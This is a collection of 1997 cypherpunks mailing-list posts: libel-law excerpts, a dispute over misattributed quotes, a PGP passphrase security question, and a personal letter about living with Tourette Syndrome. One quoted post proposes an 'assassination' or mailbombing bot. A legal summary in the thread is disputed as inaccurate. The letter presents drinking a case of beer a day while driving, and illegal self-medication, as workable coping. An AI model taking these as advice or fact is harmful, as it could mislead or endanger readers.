   correction of well-intentioned or honest error by better data, new
   information... It ought to be possible for scientists to express
   honest disagreements, to make honest mistakes... without involving
   them in litigation.... I think it would be a terrible damage to the
   scientific process if lawyers began to get involved in scientific
   debates."
   
   Robert Finn, a freelance science writer based in Long Beach, Calif.,
   is online at finn@nasw.org.
   
   [home] [top] [search] [previous] [next] 
     _________________________________________________________________
   
          (The Scientist, Vol:10, #6, pg.15-16 , March 18, 1996)
          (Copyright ) The Scientist, Inc.)
          
   WE WELCOME YOUR OPINION. IF YOU WOULD LIKE TO COMMENT ON THIS STORY,
          PLEASE WRITE TO US AT EITHER ONE OF THE FOLLOWING ADDRESSES:
          
   71764.2561@compuserve.com
          or
          
   The Scientist, 3600 Market Street, Suite 450, Philadelphia, PA 19104,
          U.S.A.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 22:11:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: cc.300.html
Message-ID: <199701270611.WAA11826@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



PUNISHMENT OF LIBEL KNOWN TO BE FALSE.

   
   
   300. Every one who publishes a defamatory libel that he knows is false
   is guilty of an indictable offence and liable to imprisonment for a
   term not exceeding five years. [R.S., c.C-34, s.264.]
   
   
     _________________________________________________________________
   
   Next, Section 301 ... 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Rothenburg Walking-Owl <wlkngowl@unix.asb.com>
Date: Sun, 26 Jan 1997 16:40:52 -0800 (PST)
To: John Savard <cypherpunks@toad.com
Subject: Re: David Kahn advocates GAK
Message-ID: <199701270040.QAA29514@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 23 Jan 1997 17:32:56 GMT, you wrote:

>This is surprising, given that (in Kahn on Codes) Mr. Kahn expressed
>forceful opinions

>- against certain aspects of export controls,

>- questioning the value of the NSA's mission, in contrast to social
>demands on government revenues.

I didn't find his opinions forceful in Codebreakers, 2nd. ed.  

Questioning the NSA's purpose vs. advoctating GAK are not incompatible.

>However, while I oppose making key escrow mandatory in general, and
>share the general suspicion of a voluntary Clipper, if Mr. Kahn's
>support for Clipper is limited to cellular telephones, then I have no
>quarrel with such a position.

>Encryption is illegal, without special permission, for use over the
>airwaves, particularly where mobile radio is involved. This is a
>long-standing restriction, and not unreasonable. Private communication
>between people at home is one thing, but allowing criminals to closely
>coordinate their activities on the move is another.
[..]

The problem is the technology is merged. What if you're using cellular links
to your ISP, and use SSL or ssh or PGP? Radio is being advocated as a
possible solution to some of the net's bandwidth problems.

Rob







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 22:11:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: cc.317.html
Message-ID: <199701270611.WAA11828@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



VERDICTS IN CASES OF DEFAMATORY LIBEL.

   317. Where, on the trial of an indictment for publishing a defamatory
   libel, a plea of not guilty is pleaded, the jury that is sworn to try
   the issue may give a general verdict of guilty or not guilty on the
   whole matter put in issue on the indictment, and shall not be required
   or directed by the judge to find the defendant guilty merely on proof
   of publication by the defendant of the alleged defamatory libel, and
   of the sense ascribed thereto in the indictment, but the judge may, in
   his discretion, give a direction or opinion to the jury on the matter
   in issue as in other criminal proceedings, and the jury may, on the
   issue, find a special verdict. [R.S., c.C-34, s.281.]
   
   
     _________________________________________________________________
   
   Next, Section 318 ... 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 22:12:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: PublicF_j385.html
Message-ID: <199701270612.WAA11921@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



  Libel Plaintiffs - Public or Private Person Status
  
  Recent Examples
  
   PUBLIC OFFICIALS:
   
     * High School Teacher, Elstrom v. Independent Sch. District (Minn.
       1995)
     * Elementary School Principal, 20 MLR 1640 (VT.)
     * Former County Employee w/ Financial Responsiblity, 20 MLR 2159
       (Tenn.)
     * Police Officer, 21 MLR 1588 (Az.)
     * Federal Strike Force Attorney, 20 MLR 1649 (Az.)
     * TVA Official, 20 MLR 1873 (6th)
     * Athletic Director/Football Coach, 21 MLR 1746 (Tx.)
     * Special-Agent-In-Charge of President Ford's Secret Service Detail,
       21 MLR 1842 (D.D.C.)
     * Mississippi Public Defender, 22 MLR 1413 (DC S. Miss. 1994)
     * Former Deputy Sheriff, 22 MLR 2013 (Fla CirCt. 1994)
     * Commissioned National Guard Officers, 22 MLR 2046 (Ga. SuperCt
       1994)
     * Police Lieutenant, 22 MLR 2129 (NJ SupCt 1994)
     * President of State Troopers' association, 22 MLR (NY SupCt AppDiv.
       1993)
       
   NOT PUBLIC OFFICIALS:
   
   High School Principal, 20 MLR 2095 (GA.)
   
   Deputy Public Defender, 21 MLR 1624 (CA)
   
   Street & Traffic Supervisor, LeDoux v. Northstar Pub., 521 N.W. 2d
   (Mn. 1994) LIMITED PUBLIC FIGURES:
   
     * Charity seeking donations and organizer, 21 MLR 1449 (4th Cir.)
     * Attorney in private practice representing several school
       districts, 20 MLR 1992 (NJ)
     * Physician who sought media attention for practice and technique,
       20 MLR 1613 (NY)
     * Star Witness in Jim Garrison case who "sought limelight", 20 MLR
       2113 (La.)
     * Lawn Mower Repair Co., 22 MLR 1461 (NJ SuperCt. AppDiv. 1994)*
     * Police Officer/Subject of Book, 22 MLR 1385 (5th Cir. 1994)*
     * Paycologists/authors, 22 MLR 1852 (7th Cir. 1994)
     * Convicted Murderer, 22 MLR 2239 (DC Sind. 1994)*
     * Actress/Model, 22 MLR 2147 (DC E Wis. 1994) *
     * Appointed tax collector who never took office, 22 MLR 2157 (Ariz
       SuperCt 1994)
     * Brother who "voluntarily thrust himself" into controversy
       surrounding his brothers arrest, 22 MLR 1434 (Ca Ct App 1994)
       
   *Note: It is not clear that these individuals would be limited public
   figures in Oregon.
   
   NOT PUBLIC FIGURES:
   
     * Host of a loud party, 21 MLR 1378 (Pa.)
     * Woman at home where MLK had dinner night before shot who was
       alledged to have had extramarital affair with King, 21 MLR 1353
       (S.D.N.Y)
     * Person accused of of sexual misconduct, 22 MLR 2353 (4th Cir.
       1994)
       
   Return to J385 Home page





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 22:16:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: 1a_c7p6.html
Message-ID: <199701270616.WAA12070@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



   [IMAGE]
   
  Chapter VII: Libel
  
   Fault
     _________________________________________________________________
   
   The Supreme Court has recognized different standards for different
   types of libel plaintiffs, with public officials and public figures
   required to show a high degree of fault.
   
   Celebrities and others with power in a community are usually
   considered public figures. Politicians and high-ranking government
   personnel are public officials.
   
   Courts generally consider public officials to include public employees
   who have substantial responsibility for or control over the conduct of
   governmental affairs. Some courts have found that public school
   teachers and police officers are public officials.
   
   But determining if other people are private or public figures is not
   always easy. In some instances, there may be overlapping in the
   private and public category. For example, a businessperson who has
   high visibility because of fundraising efforts in a community may or
   may not be a public figure for all purposes.
   
   A plaintiff who is considered a public figure or official must prove
   that the publisher or broadcaster acted with "actual malice" in
   reporting derogatory information. "Actual malice" does not mean ill
   will or intent to harm. Instead, the term applies to whether the
   defendant knew that the challenged statements were false or acted with
   reckless disregard of the truth.
   
   Courts may examine reporting procedures in testing for actual malice.
   While carelessness is not usually considered reckless disregard,
   ignoring obvious ways of substantiating allegations could be
   considered reckless.
   
   In Harte-Hanks Communications, Inc. v. Connaughton, the Supreme Court
   held that even an extreme deviation from professional standards, or
   the publication of a story to increase circulation, do not in
   themselves prove actual malice. The Court also said that while failure
   to investigate facts does not necessarily prove actual malice, a
   "purposeful avoidance of the truth" may.
   
   Use of quotations that are not literally accurate will not necessarily
   be considered proof of actual malice as long as the altered quotes do
   not materially change the meaning of the words the speaker used. In
   Masson v. The New Yorker Magazine, the Supreme Court acknowledged
   that some editing of quotations is often necessary, but refused to
   extend protection to all edits that are at least a "rational
   interpretation" of what the speaker said.
   
   If the plaintiff is a private litigant, he or she must at least prove
   that the publisher or broadcaster was negligent in failing to
   ascertain that the statement was false and defamatory. Some states may
   impose a higher burden on private-figure litigants, especially if the
   story in question concerns a matter of public importance.
   
   
     _________________________________________________________________
   
   [INLINE] Back to Table of Contents
   [INLINE] Jump to next section in this chapter





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 22:12:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: 1a_c7p7.html
Message-ID: <199701270612.WAA11911@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



   [IMAGE]
   
  Chapter VII: Libel
  
   Defenses
     _________________________________________________________________
   
   Truth is generally a complete bar to recovery by any plaintiff who
   sues for libel. Making sure that any potentially libelous material can
   be proven true can avoid needless litigation.
   
   Fair Report. Libelous statements made by others in certain settings
   are often conditionally privileged if the reporter, in good faith,
   accurately reports information of public interest. This privilege
   usually applies to official meetings such as judicial proceedings,
   legislative hearings and grand jury deliberations.
   
   Opinion is still protected speech under the First Amendment, although
   the Supreme Court limited the formerly broad reach of opinion
   protection in Milkovich v. Lorain Journal. The court ruled that there
   is no separate opinion privilege, but because factual truth is a
   defense to a libel claim an opinion with no "provably false factual
   connotation" is still protected.
   
   As a result of this decision, courts will examine statements of
   opinion to see if they are based on or presume underlying facts. If
   these facts are false or defamatory, the "opinion" statements will not
   be protected.
   
   Consent. If a person gives permission for the publication of the
   information, that person cannot later sue for libel. However, denial,
   refusal to answer or silence concerning the statement do not
   constitute consent.
   
   The statute of limitations for bringing libel suits varies from state
   to state. Generally the time limit for filing a libel lawsuit starts
   at the time of the first publication of the alleged defamation. If the
   plaintiff does not sue within the statutory time period, the
   litigation can be barred.
   
   Although a retraction is not usually considered a defense to a libel
   claim, it may reduce the damages a defendant must pay if found liable
   for defamation. Before agreeing to publish a retraction, consult an
   attorney.
   
   
     _________________________________________________________________
   
   [INLINE] Back to Table of Contents
   [INLINE] Jump to next section in this chapter





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 22:56:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fantasy quotes & libel
Message-ID: <199701270656.WAA13546@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

After review of the material I forwarded by request it is clear that
'fantasy' quotes are libel provided:


  * the person being quoted is not a public figure. On a 'private'
    mailing list like the cypherpunks this is a given unless similar
    statements can be found in the public records.

  * the section added to the original quote is not clearly seperated
    or otherwise dilineated such that a reader will be able to tell
    what the original quote was and the extrapolation by the 'editor'
    is.

  * there is clear intent to effect the perception of the original
    authors reputation in a negative or otherwise harmful manner.

  * the 'fantasy' quote is not clearly marked as the opinion of the
    editor.


While quoting persons with editing is allowed under the 1st Amendment as
understood by the courts the attributation of extrapolations by a third
party (meaning a party other than the original author and the reader) as
'true' quotes of the original author is not.

'Truth' is usually ascribed as protection against libel, however, opinions
are not 'true', they are opinions not facts as accepted by a court.

With the current 'editorial control' as provided by the cypherpunks mailing
list the mailing list operator/censor may also be held in some situations
accountable as well. This occurs because the relationship between list
operator and the quoter is similar to that of editor and reporter in a
newspaper. For the quoter to get his quote distributed the list operator
must ok it. The reasoning used is that the editor 'should have known' the
boundaries and applied them.

Not only is ignorance not an excuse but neither is negligence.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 06:40:52 -0800 (PST)
To: Nurdane Oksas <oksas@asimov.montclair.edu>
Subject: Re: overview.htm (fwd)
Message-ID: <199701271440.GAA24061@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas wrote:
> On Sun, 26 Jan 1997, Dale Thorn wrote:
> > Nurdane Oksas wrote:
> > > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > > Nurdane Oksas wrote:
> > > > >     i think it's good also to exercise outdoors as well as your
> > > > >     indoor nordictrack machines..sun and air is esp. necessary;

> > > > but remember, tanning will kill ya.

> > >         Yes it will; Not a fan of tanning myself...it also causes lots
> > >         of skin problems, have seen women age too soon tanning;
> > >         we don't go outside naked here in NorthEast...do remember;

> > The real babes in So. Cal. go to tanning salons. That way the evenly-
> > distributed tan looks best with, say, a pure white bikini.  You can
> > go to the beach, of course, and hang out with the hoi polloi, but
> > it's mostly kids with pimples and stuff.

>         i don't see why she would wear a bikini if she already is tan.
>         She just goes to show off right???  California is know for
>         very beautiful girls ...     I like the pale look :)

There are two really major beaches in the L.A. area that I know of.
One is Bolsa Chica, several miles long, north of Huntington Beach,
which attracts most of the young'uns south of L.A., and Zuma in the
northmost points of Malibu, which gets a lot of Valley people
(fer sure).  To quote the L.A. Weekly of a few years ago, in a
"Best of L.A." review, "Why do all those hot young girls go to Zuma?
Because that's where all the hot young boys are."

But the real babes don't go there.  They get skates and nifty little
costumes and zip up and down the boardwalks in Santa Monica and
Pacific Palisades mostly, in case some hot producer/director should
happen along.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 06:40:42 -0800 (PST)
To: Nurdane Oksas <oksas@asimov.montclair.edu>
Subject: Re: overview.htm (fwd)
Message-ID: <199701271440.GAA24042@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas wrote:
> On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > Nurdane Oksas wrote:
> > > California is know for very beautiful girls ...

> > wrong.

> well, seems D. Thorn agrees with the song: 'california girls'

Depends on where you go, and what time of year. So. Cal. is no doubt
a revolving door for the girl markets, especially on the beach board-
walks, or on San Vicente where a lot of joggers run.

Anywhere else and it's no different from Cleveland or Pittsburgh.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 06:40:58 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Fighting the cybercensor
Message-ID: <199701271440.GAA24074@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Dale Thorn wrote:
> > How does one country get on top and terrorize the whole world?  By
> > following Tom Wolfe's intimation concerning the pirates: "The people
> > on the East coast were constantly victimized because they couldn't
> > comprehend just how vicious and ruthless the pirates really were"
> > (quote approximate).

> Dale,
>   When I read posts like this, I wonder how any rationally thinking
> person can possibly believe that socio/politico concerns have no
> place in the discussion of crypto.
>   It is my belief that many of the more atrocious acts being performed
> against the citizens by various governments are made possible by the
> fact that there are so few people who recognize a 'pirate' when they
> see one.
>   While I appreciate that there are those who may be furthering the
> cause of crypto, privacy and freedom through official channels, the
> controlled media, and such, there needs to be a forum in which
> people are free to use what they consider to be the 'correct'
> terminology to refer to those who have usurped democracy in order
> to control the citizens for their own personal profit.
>   i.e. 'Pirates'

When I recall my growing up years and the political/social arguments
I participated in, I can hardly believe the things I've learned since,
esp. things like government agencies sharing asset forfeitures as a
means of funding further seizures (kind of snowballs, if you know
what I mean).  Check out H.R. 3355 of late 1993, which authorizes
Janet Reno to personally treaty up with the local cops in every U.S.
city of 100,000 pop. or more, i.e., most of the U.S. population,
and virtually all of the "crime".

There was a previous post today, perhaps yours, which made the point
that while erstwhile freedom fighters are trying to put out one fire
or another, the govt. boys are lighting dozens more.  I guess that
means we'll have to pony up a lot more tax money to pay those guys.
Whoops!  I forgot - they can self-fund now with the asset seizures.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 27 Jan 1997 06:26:27 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
Message-ID: <199701271426.GAA23788@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[Cc: to Dr. John Martin Grubor, Law Systems Institute, Medical-Cannabis Assn]

Jim Choate wrote:
> 
> 
>    Landskroner, LTD. [INLINE]
>    
> Libel / Slander
 
I am not sure if you posted this information in response to my request
to cite a statute that would prove that libel is a crime.

Me> Jim Choate wrote:
Me> > 
Me> > 
Me> > 
Me> > Are you aware that attributing statements in print to a party when that
Me> > party did not write them is a crime?
Me> 
Me> cite the statute


These postings do not prove that libel is a crime. It is because libel
is not a crime. Libel is a tort, and unlike with crime, the government
cannot initiate a legal action against someone for libel. Only injured
(libeled) individuals and not the government can sue in a libel case.

I would appreciate if someone more knowledgeable about the law could
comment on this. I may be mistaken.

igor 

>    Libel / Slander is an area that involves defamatory oral or written
>    statements containing false and misleading material which causes
>    damage or injury to reputation and/or monetary loss.
>    
>    We provide a quick review of their success stories , some media and
>    newspaper articles about what they've been able to do for their
>    clients, and published articles about this topic.
>    
>    Please e-mail us with questions about our service! Landskroner and
>    Phillips 
>    [INLINE]
>    
>    Nationally Recognized Consumer Trial Advocates.
>    Over 100 Years combined experience in both State and Federal Courts.
>    
>    55 Public Square, Tenth Floor, Cleveland Ohio 44113-1904
>    Phone: (216) 241-7000
>    Fax: (216) 241-3135
>    Toll Free: (888) 241-7001
>    [INLINE]
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sun, 26 Jan 1997 22:56:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Passphrase Online...
Message-ID: <199701270656.WAA13547@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

I have a question reg. passphrases:

If I am connected to the Internet via a SLIP/PPP connection and I
type my passphrase while being online (for example, in Private
Idaho, after getting my mail), could that passphrase be compromised?
If so, how would that be done?
Also, if I am online, is it possible for somebody to access my hard
drive?

Thanks in advance for your help...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMucA7jltEBIEF0MBAQFdewf/Q74ATvi+OZzSCdyFrIRQ5aRjychCd6hO
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4uYEB+P+cfUhy1xPQgWfAk6VFspNIHIlFJ3mUqEIJTAOguV//UfIjyNFoGrZhiG7
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1O5YAoIuvCLyg/4AEgPBVeU2ClJjARmKrzBcw1bMZDp3wv/DkZdoEQ==
=Xtu7
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 27 Jan 1997 06:26:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Austin Cypherpunks Feb. Meeting
Message-ID: <199701271426.GAA23756@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



The Austin Cypherpunks (austin-cpunks@ssz.com) will be holding their next
physical meeting on Saturday, February 18, 1997 at 6pm. It will be held at
the Central Market HEB Restaurant, look for the red covered 'Applied
Cryptography' book.

In addition to the local cpunks the Experimental Science Instrumentation
and Advanced Computer Experimentation groups have been invited.

The meeting is open to all.

If you have any questions or need further directions please send email to
the Austin Cypherpunks.

Hope to see you there.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 27 Jan 1997 06:40:47 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Fantasy quotes & libel
Message-ID: <199701271440.GAA24050@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:30 AM 1/27/97 -0600, Jim Choate wrote:
>Hi,
>
>After review of the material I forwarded by request it is clear that
>'fantasy' quotes are libel provided:

[gibberish deleted]

You're mixing up elements of a prima facie case for libel, defenses, and
standards for liability and damages. You're missing some elements, and
adding some extra (contradictory) elements. You're also ignoring at least
two other potential causes of action where a quote is misattributed, as
well as trying to simultaneously discuss criminal and civil actions. Your
summary of defamation law is not an accurate one.

Your original message suggested that misattribution could be criminal.
While this may be true in some jurisdictions (modulo the First Amendment),
no prosecutor is going to waste his or her time with this sort of
silliness. Also, go watch _The People v. Larry Flynt_ and meditate on the
reason why Jerry Falwell lost his libel claim in the trial court. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Mon, 27 Jan 1997 06:26:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Passphrase Online...
Message-ID: <199701271426.GAA23804@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>If I am connected to the Internet via a SLIP/PPP connection and I
>type my passphrase while being online (for example, in Private
>Idaho, after getting my mail), could that passphrase be compromised?
>If so, how would that be done?

It certainly _could_ but hopefully isn't.  Let's say that Joel
McNamara hadn't released the sources to Private Idaho.  It's
certainly possible that he hooked into the windows created when
PI shells out to DOS, and left a snippet of code that mails your
keyID and passphrase to some throwaway AOL account, or a nym address
that bounces through a dozen remailers, or whatever.  Anything you
give to a program, especially one that you know accesses the Internet,
is a potential security risk.

(Special note to Joel, if he's still on this list: Yes, I know
better.  I've read through all of your released Private Idaho sources.
You just seemed like a handy example :)

Paranoid yet?  Good.  That's a healthy state to be in.  Fortunately,
most developers (like Joel) don't put any such evil hooks into
their software.  Having access to the source, to be able to read
through it yourself, is IMO one of the better ways to be sure about
such things. Reading the source and recompiling it yourself is
probably the best.

>Also, if I am online, is it possible for somebody to access my hard
>drive?

Depends on what kind of computer and software you're running.
I'll assume a Windows-style machine.  If we assume that Microsoft
didn't leave any lurking backdoors in their implementation of
wsock32.dll and winsock.dll, and all you run is your usual Web
browser and mail client and you trust _those_ you are probably
safe.  However, if you're running any server daemons on your machine,
such as the MS Personal Web Server or WFTPD or whatever, the 
possibilities go up _a_lot.  Those programs were designed to let
others access your hard drive, so there's a much higher chance that
they'll let someone get something they're not supposed to.  Again,
if you trust the people that developed your software to not stab
you in the back, you should be alright.

Still paranoid?  Excellent.

dave


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Mon, 27 Jan 1997 06:26:10 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Fighting the cybercensor
Message-ID: <199701271426.GAA23763@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> ichudov@algebra.com (Igor Chudov @ home) writes:
> > Jim, why don't you stop bullshitting and write a real assassination
> > bot. [as a beta, it can be a mailbombing bot] This bot would:
> I think this would be a very good demo project, but mailbombing may not
> be the best choice...
> > 1) Accept bets as combinations of

   
     Well, I have made a less destructive proposal along these lines.

     http://www.bounty.org

     Version .3 should be up in a day or two.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Mon, 27 Jan 1997 06:26:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Passphrase Online...
Message-ID: <199701271426.GAA23780@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>If I am connected to the Internet via a SLIP/PPP connection and I
>type my passphrase while being online (for example, in Private
>Idaho, after getting my mail), could that passphrase be compromised?
>If so, how would that be done?

:Paranoid yet?  Good.  That's a healthy state to be in.  Fortunately,
:most developers (like Joel) don't put any such evil hooks into
:their software.  Having access to the source, to be able to read
:through it yourself, is IMO one of the better ways to be sure about
:such things. Reading the source and recompiling it yourself is
:probably the best.

:Still paranoid?  Excellent.

Paranoia!! I love that word :)...What about somebody snooping on my phoneline, while I type the passphrase? :)


Harka



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 06:42:15 -0800 (PST)
To: User357419@aol.com
Subject: Sharon / Re: Scott's Legal Problems
Message-ID: <199701271442.GAA24133@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sharon,
  While I don't have a lot of details regarding Scott's personal
history, as such, I have a lifetime of experience with TS, the medical
system, and the legal system, as well.
  I spent more than a little time in court and at seminars, as a
counsellor, addressing the issues of physical and mental disabilities
and the resulting behavior patterns that are engendered by them. I have
found that both judges and prosecutors inherently understand the issues
themselves, but that defendants rarely have anyone able to effectively
speak for them in regard to these issues.

  The fact of the matter is, the legal system is geared toward
'punishment' as a means of impressing upon people that they need to
modify their behavior in order to act within the boundaries required by
society. In order for people with special needs to be afforded an
opportunity to meet society's requirements, there is an onus upon them
to be able to show reasonable cause to the judge as to why a 'generic'
solution to the problem they present to society is neither feasible, nor
just.
  As a result of being afflicted with Tourette Syndrome, your son has
problems that I am very familiar with, since I have had to deal with the
results of the affliction myself for almost a half-century, without
proper diagnosis. So I will endeavor to explain some of the
life-experiences that I have been through, personally, as a result of
this disease's influence on my life.

  The fact is, I was unjustly charged and convicted of a minor drug
offense at the age of 19, for the simple reason that I was 'different'
from the other 'suspects', and thus was more suspicious. I was fortunate
enough to recognize that I was, indeed, different from others, and that
this would be something that would affect my life greatly in the future.
The result was that I made an effort to fully understand the intricacies
of the law and to take actions to protect myself in the future, no
matter whether my actions were in line with societies dictates, or
beyond the acceptable boundaries of society.
  When you are 'different', then you are subject to a much closer
scrutiny than the rest of society, and to a much harsher punishment, as
a rule. I have spent hours on end at the border crossing near my
hometown while customs officials called down the drug dogs from the big
city, because I couldn't explain to them why I was 'twitching'. I have
spent many days in jail waiting to answer to charges that would later be
dismissed because there was no substance to them. I have been subjected
to personal debasement and humiliating libel because of various
authorities deeming that the manifestations of my disability were signs
of my lack of morality, or of evil intentions on my part.

  You say your son has problems over possessing pills that a friend gave
him to try in order to help his TS?
  My father and mother have given me, over the years, various of their
medications to try in order to see if it would help me. They did so
because, for all of their care and concern, helping me as much as
possible within the 'proper boundaries' of medical science, I was not
getting what I needed in order to become a functional human being.
  My father and mother are respected business people and leading members
of the community. They never had to fear getting 'busted' for stepping
outside the bounds of society--but I did.
  I found a drug, amphetamine, that helped me to become a functional
member of society, but I was subject to arrest and imprisonment if I got
caught possessing it. After over three decades of occasional 'illegal'
use of the drug, it is now prescribed for my by a doctor who is allowed
to do so because it is now a 'recognized' treatment for TS. But, from a
legal standpoint, I was supposed to forego use of the drug and lead a
more dysfunctional life.

  DWI's? The most functional period of my life was spent self-medicating
with alcohol and nicotine. I acted as president of a small computer
company while smoking a carton
of cigarettes a day and drinking a case (24) of beer a day. It made me
functional.
  I put on 30-50,000 miles a year, accident free, and there were times
that I would not drive if I didn't have my 'medicine/beer' because I
didn't feel it was safe to do so. I had the foresight to buy my own
breathalyzer so that I could guage my drinking according to the legal
standard, but I did so only for legal reasons, not for reasons of
safety.

  Public intoxication? I was recently 'forced' to show up in court in a
state of legally defined 'public intoxication' in order not to be locked
in a cage like an animal as a result of my disabilities.
  I missed a court appearance because the prescribed medications I was
taking could not get me onto the 'day schedule' required by the legal
system. Under threat of imprisonment for failing to show up at the next
court date, I spent the previous night imbibing my 'old faithful'
medication, Scotch. I had a friend drive me to court, and I drank Scotch
and Coke while pleading my case (which I won).
  I had no desire to 'break the law'. I did not have an 'attitude
problem'. I was not trying to 'flaunt the rules of society'. I was
trying to survive. I was trying to keep from being locked in a cage for
not being able to function according to society's wishes without
performing actions which also went against society's wishes, but which
would enable me to avoid 'punishment', nonetheless.

  I take it that Scott is 'hiding out' to avoid being locked in a cage
for violating the rules of society.
  I have spent a great deal of my life 'hiding out' so that I would not
have to come into contact with society and be punished for trying to
survive while not fitting into the common mold.
  There have been times when I was forced to 'hide out' from showing up
in court to answer this-or-that charge which I knew would be dismissed
if I could hold out until I was functional enough to deal with the
situation. I had the foresight and the knowledge to do so using the same
'techniques' as a lawyer who isn't ready to plead a case because he
stayed up too late drinking the night before. I 'fudged' the truth, as
lawyers do every day, but I did so in order to compensate for a
dysfunctionality which was very real, but undiagnosed and therefore
unrecognized by the legal system.

  I have been blessed enough in life to have 'escaped' many situations
which could have turned out badly for me, by virtue of learning at a
young age that I needed to institute my own methods of dealing with a
dysfunctionality which I recognized, but which, in many ways, remained a
mystery to me.
  I have also been blessed by having the extreme good fortune to have
encountered a number of judges and prosecutors who were truly concerned
about justice, and who had the ability to judge me as a human being, and
take into account the fact that I was being honest with them about my
attitude, intentions and circumstances, even when my outward actions or
appearance did not correspond to what they were used to seeing in
'normal' people. 
  And I have been blessed to be able to make a difference in the lives
of others by pleading their case to those in authority over them, when
they were unable to effectively do so themselves. During my years as a
consellor and court-appointed advisor, I was only vaguely aware that I
understood the circumstances of the people I was helping to defend
because I shared their disabilities and their dysfunctionality.

  In regard to Scott, I don't know him personally, but the trials and
tribulations that you have shared on the pov-twitch forum are not
foreign to me, as they mirror my own life in many ways.
